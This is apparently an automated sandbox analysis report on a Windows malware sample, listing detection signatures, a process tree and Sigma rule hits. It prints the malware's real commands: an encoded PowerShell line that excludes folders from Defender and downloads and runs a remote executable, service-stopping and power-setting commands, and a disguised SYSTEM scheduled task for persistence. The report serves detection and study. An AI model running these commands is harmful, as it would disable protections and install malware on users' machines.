Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe
Analysis ID:	1451678
MD5:	3b5865192ea41263be0a78b4d8a7c795
SHA1:	946d09aeb6ad5c0fd13d4bbd24ed08623f84e413
SHA256:	1f5b18d6733e467c7d89b90cd82f4ec287423ab049617b3e1d0dda246731ce81
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Stop multiple services

Yara detected Powershell download and execute

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Encrypted powershell cmdline option found

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the hosts file

Modifies the prolog of user mode functions (user mode inline hooks)

Powershell drops PE file

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Stops critical windows services

Suspicious powershell command line found

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe (PID: 7280 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe" MD5: 3B5865192EA41263BE0A78B4D8A7C795)

powershell.exe (PID: 7324 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwBwAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AGEAcgB6AGEAbgByAGUALwBtAHkAcgBlAHAAbwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAGEALwBzAHQAZQBhAG0ALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHEAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwAuAGUAeABlACcAKQApADwAIwB2AHQAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbABzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwB2AGMALgBlAHgAZQAnACkAPAAjAGcAZwBtACMAPgA=" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svc.exe (PID: 7576 cmdline: "C:\Users\user\AppData\Local\Temp\svc.exe" MD5: 327B8ED0CDEBAE6962718656B5A72A4C)

dialer.exe (PID: 7912 cmdline: C:\Windows\System32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 628 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 920 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 988 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 364 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 356 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 696 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 592 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1044 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1084 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1200 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1252 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1296 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1408 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1488 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1496 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1552 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1572 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1652 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1724 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1824 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1840 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1940 cmdline: C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1948 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 7592 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7752 cmdline: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7800 cmdline: sc stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 7812 cmdline: sc stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 7828 cmdline: sc stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 7844 cmdline: sc stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 7860 cmdline: sc stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7876 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7948 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7996 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 8060 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 8084 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powershell.exe (PID: 7936 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tcvsvxpo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7324	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_7324.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

Operating System Destruction

Sigma detected: Stop multiple services

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc, CommandLine: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc, ProcessId: 7752, ProcessName: cmd.exe

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tcvsvxpo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tcvsvxpo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }, CommandLine|base64offset|contains: [, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tcvsvxpo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }, ProcessId: 7936, ProcessName: powershell.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwBwAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AGEAcgB6AGEAbgByAGUALwBtAHkAcgBlAHAAbwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAGEALwBzAHQAZQBhAG0ALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHEAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwAuAGUAeABlACcAKQApADwAIwB2AHQAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbABzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwB2AGMALgBlAHgAZQAnACkAPAAjAGcAZwBtACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwBwAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AGEAcgB6AGEAbgByAGUALwBtAHkAcgBlAHAAbwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAGEALwBzAHQAZQBhAG0ALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHEAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwAuAGUAeABlACcAKQApADwAIwB2AHQAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbABzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwB2AGMALgBlAHgAZQAnACkAPAAjAGcAZwBtACMAPgA=", CommandLine|base64offset|contains: Ijw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe, ParentProcessId: 7280, ParentProcessName: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQBy

Sigma detected: Powershell Defender Exclusion

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, ProcessId: 7592, ProcessName: powershell.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwBwAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AGEAcgB6AGEAbgByAGUALwBtAHkAcgBlAHAAbwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAGEALwBzAHQAZQBhAG0ALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHEAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwAuAGUAeABlACcAKQApADwAIwB2AHQAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbABzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwB2AGMALgBlAHgAZQAnACkAPAAjAGcAZwBtACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwBwAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AGEAcgB6AGEAbgByAGUALwBtAHkAcgBlAHAAbwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAGEALwBzAHQAZQBhAG0ALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHEAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwAuAGUAeABlACcAKQApADwAIwB2AHQAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbABzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwB2AGMALgBlAHgAZQAnACkAPAAjAGcAZwBtACMAPgA=", CommandLine|base64offset|contains: Ijw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe, ParentProcessId: 7280, ParentProcessName: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQBy

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\System32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 7912, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 920, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

